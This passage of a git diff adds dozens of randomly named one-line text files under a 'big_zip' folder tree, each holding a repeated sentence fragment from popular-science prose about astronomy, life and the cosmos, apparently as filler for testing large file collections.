+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_hgogtvvgawkodnxqnrwamlp.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ksaskhgjwhmyfwr.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ksaskhgjwhmyfwr.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ksaskhgjwhmyfwr.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ojowlhurzqplhluwnxgar.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ojowlhurzqplhluwnxgar.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ojowlhurzqplhluwnxgar.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_sexuxbbuab.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_sexuxbbuab.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_sexuxbbuab.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_tfbjbtgdo.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_tfbjbtgdo.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_tfbjbtgdo.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_typpnvsbtydghvlqjfqqzjmo.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_typpnvsbtydghvlqjfqqzjmo.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_typpnvsbtydghvlqjfqqzjmo.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_whdjwiiigmwyflvqfjtpfmfn.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_whdjwiiigmwyflvqfjtpfmfn.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_whdjwiiigmwyflvqfjtpfmfn.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_xeltfupeqlbvhvvddoiwqh.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_xeltfupeqlbvhvvddoiwqh.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_xeltfupeqlbvhvvddoiwqh.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ycstfdiqkzy.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ycstfdiqkzy.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_ycstfdiqkzy.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_yfplwludjaruuznqzyxdawic.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_yfplwludjaruuznqzyxdawic.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_yfplwludjaruuznqzyxdawic.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_zptlegozgwemzyyvkoli.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_zptlegozgwemzyyvkoli.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_zptlegozgwemzyyvkoli.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/comuvwvpfv.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/comuvwvpfv.txt
new file mode 100644
index 0000000..5addcd6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/comuvwvpfv.txt
@@ -0,0 +1 @@
+of science on Earth was spurred fundamentally by observations of the regularities of the stars and planets. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/dxemninvveocexove.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/dxemninvveocexove.txt
new file mode 100644
index 0000000..b0b3c48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/dxemninvveocexove.txt
@@ -0,0 +1 @@
+(gamma rays) to the longest (radio waves). The wavelength of light is measured in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/eioyofolautqldruq.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/eioyofolautqldruq.txt
new file mode 100644
index 0000000..2bad445
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/eioyofolautqldruq.txt
@@ -0,0 +1 @@
+sense we have launched into the Cosmos a direct transcription of the thoughts and feelings
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/exweplejcxqfzrwwrdunf.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/exweplejcxqfzrwwrdunf.txt
new file mode 100644
index 0000000..63e5ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/exweplejcxqfzrwwrdunf.txt
@@ -0,0 +1 @@
+[The cortex] becomes now a sparkling field of rhythmic flashing points with trains
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_aqhtlimfwmvgwebskeen.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_aqhtlimfwmvgwebskeen.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_aqhtlimfwmvgwebskeen.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_chaduzitbtjwwma.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_chaduzitbtjwwma.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_chaduzitbtjwwma.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_ckcdvwaitninxvogokpdbz.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_ckcdvwaitninxvogokpdbz.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_ckcdvwaitninxvogokpdbz.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_dybylfhxrspyjedsepwm.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_dybylfhxrspyjedsepwm.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_dybylfhxrspyjedsepwm.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_jnsastdrlzwngckjfwxpx.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_jnsastdrlzwngckjfwxpx.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_jnsastdrlzwngckjfwxpx.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_jswrvjawnkcpbdaq.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_jswrvjawnkcpbdaq.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_jswrvjawnkcpbdaq.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_kzxdtixheikembh.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_kzxdtixheikembh.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_kzxdtixheikembh.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_ldhqahqqefgltc.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_ldhqahqqefgltc.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_ldhqahqqefgltc.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_mahmmxinmgodeduvcqqp.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_mahmmxinmgodeduvcqqp.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_mahmmxinmgodeduvcqqp.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_rqxqxoyoqgyvvnnhju.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_rqxqxoyoqgyvvnnhju.txt
new file mode 100644
index 0000000..f1e162d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/file_rqxqxoyoqgyvvnnhju.txt
@@ -0,0 +1 @@
+south you were, the more southern constellations you could see. But longitude required
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/hxyzmmcx.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/hxyzmmcx.txt
new file mode 100644
index 0000000..fc42e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/hxyzmmcx.txt
@@ -0,0 +1 @@
+(Appendix 1), demonstrating the error of the initial assumption. He wrote, in an argument
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/lnowtngi.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/lnowtngi.txt
new file mode 100644
index 0000000..e385cd5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/lnowtngi.txt
@@ -0,0 +1 @@
+(1903), that ours may be the only inhabited planet.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/lskrfjsmswbgiejy.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/lskrfjsmswbgiejy.txt
new file mode 100644
index 0000000..e910312
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/lskrfjsmswbgiejy.txt
@@ -0,0 +1 @@
+adornment of Jovian-type planets throughout the cosmos.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/mgywlevgdeugamimyfqwfn.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/mgywlevgdeugamimyfqwfn.txt
new file mode 100644
index 0000000..98271c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/mgywlevgdeugamimyfqwfn.txt
@@ -0,0 +1 @@
+therefore much more benign than oxygen. But it, too, is biologically sustained. Thus, 99
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/qazopoavrkx.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/qazopoavrkx.txt
new file mode 100644
index 0000000..7f9c9a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/qazopoavrkx.txt
@@ -0,0 +1 @@
+be very sure before considering a returned-sample mission.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/qixyrpoxfmqylrwjufq.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/qixyrpoxfmqylrwjufq.txt
new file mode 100644
index 0000000..2624792
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/qixyrpoxfmqylrwjufq.txt
@@ -0,0 +1 @@
+- The Assyrian account of the creation of Man, 800 B.C.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/rfhzpqrzbbjpgejfitcf.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/rfhzpqrzbbjpgejfitcf.txt
new file mode 100644
index 0000000..a830567
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/rfhzpqrzbbjpgejfitcf.txt
@@ -0,0 +1 @@
+process rubs out or fills in the crater, it may last for billions of years. Almost no erosion
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/rkcfkjueezcrivsyywpgjteo.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/rkcfkjueezcrivsyywpgjteo.txt
new file mode 100644
index 0000000..6bc4ba0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/rkcfkjueezcrivsyywpgjteo.txt
@@ -0,0 +1 @@
+sky is softly humming with messages from the stars.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/vpvmepurpfpbl.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/vpvmepurpfpbl.txt
new file mode 100644
index 0000000..8cd8fa3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/vpvmepurpfpbl.txt
@@ -0,0 +1 @@
+other protons, say - we begin to glimpse more fundamental units hiding inside the proton.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/wrnszhwryj.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/wrnszhwryj.txt
new file mode 100644
index 0000000..0711dfd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/wrnszhwryj.txt
@@ -0,0 +1 @@
+the Galaxy. One of the great virtues of this equation, due originally to Frank Drake of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/xvctujudsuwygqmv.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/xvctujudsuwygqmv.txt
new file mode 100644
index 0000000..7e372bc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/folder_ovjezcozyy/xvctujudsuwygqmv.txt
@@ -0,0 +1 @@
+high Martian latitudes. Farther poleward than about 45 or 50 degrees in both hemispheres,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_brlrhcjkhkkskmbxxkcyj.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_brlrhcjkhkkskmbxxkcyj.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_brlrhcjkhkkskmbxxkcyj.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_bsefxxmmuxfcwhmrlvmf.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_bsefxxmmuxfcwhmrlvmf.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_bsefxxmmuxfcwhmrlvmf.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_gigayjjm.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_gigayjjm.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_gigayjjm.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_kipxppcvppts.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_kipxppcvppts.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_kipxppcvppts.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_ragdfkoonqifholzymlzx.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_ragdfkoonqifholzymlzx.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_ragdfkoonqifholzymlzx.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_shooaqgcy.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_shooaqgcy.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_shooaqgcy.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_tacnlwthxxrdhldovnfzmf.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_tacnlwthxxrdhldovnfzmf.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_tacnlwthxxrdhldovnfzmf.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_tobnytpwefaiqqtklp.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_tobnytpwefaiqqtklp.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_tobnytpwefaiqqtklp.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_vclokpehcixglkwfgpgwzpk.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_vclokpehcixglkwfgpgwzpk.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_vclokpehcixglkwfgpgwzpk.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_vhwktblrhuk.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_vhwktblrhuk.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_vhwktblrhuk.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_wrdigkaldufcetxskrg.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_wrdigkaldufcetxskrg.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_wrdigkaldufcetxskrg.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_yphsxqmneyjaqcowfr.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_yphsxqmneyjaqcowfr.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_yphsxqmneyjaqcowfr.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/file_ypybosyvasv.txt b/big_zip/big-zip-files/folder_qitlpxqeli/file_ypybosyvasv.txt
new file mode 100644
index 0000000..1f0b365
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/file_ypybosyvasv.txt
@@ -0,0 +1 @@
+but the dream before the awakening . . . Out of our . . . lineage, minds will spring,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/agdxmrch.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/agdxmrch.txt
new file mode 100644
index 0000000..34e5d94
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/agdxmrch.txt
@@ -0,0 +1 @@
+place, of one enzyme. When all is done, a single enzyme molecule has been produced,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/avhhpmrbyoiuncbot.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/avhhpmrbyoiuncbot.txt
new file mode 100644
index 0000000..d2a490f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/avhhpmrbyoiuncbot.txt
@@ -0,0 +1 @@
+body is about 10 28 , and the total number of elementary particles - protons and neutrons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/cqljwmsdkpzlsosafew.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/cqljwmsdkpzlsosafew.txt
new file mode 100644
index 0000000..699b6e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/cqljwmsdkpzlsosafew.txt
@@ -0,0 +1 @@
+always asked them. What is different about our time is that at last we know some of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/dhbyhxxzoickjbctebats.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/dhbyhxxzoickjbctebats.txt
new file mode 100644
index 0000000..fa83982
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/dhbyhxxzoickjbctebats.txt
@@ -0,0 +1 @@
+some of the same things life does. On the Earth before life, there may already have been
\ No newline at end of file
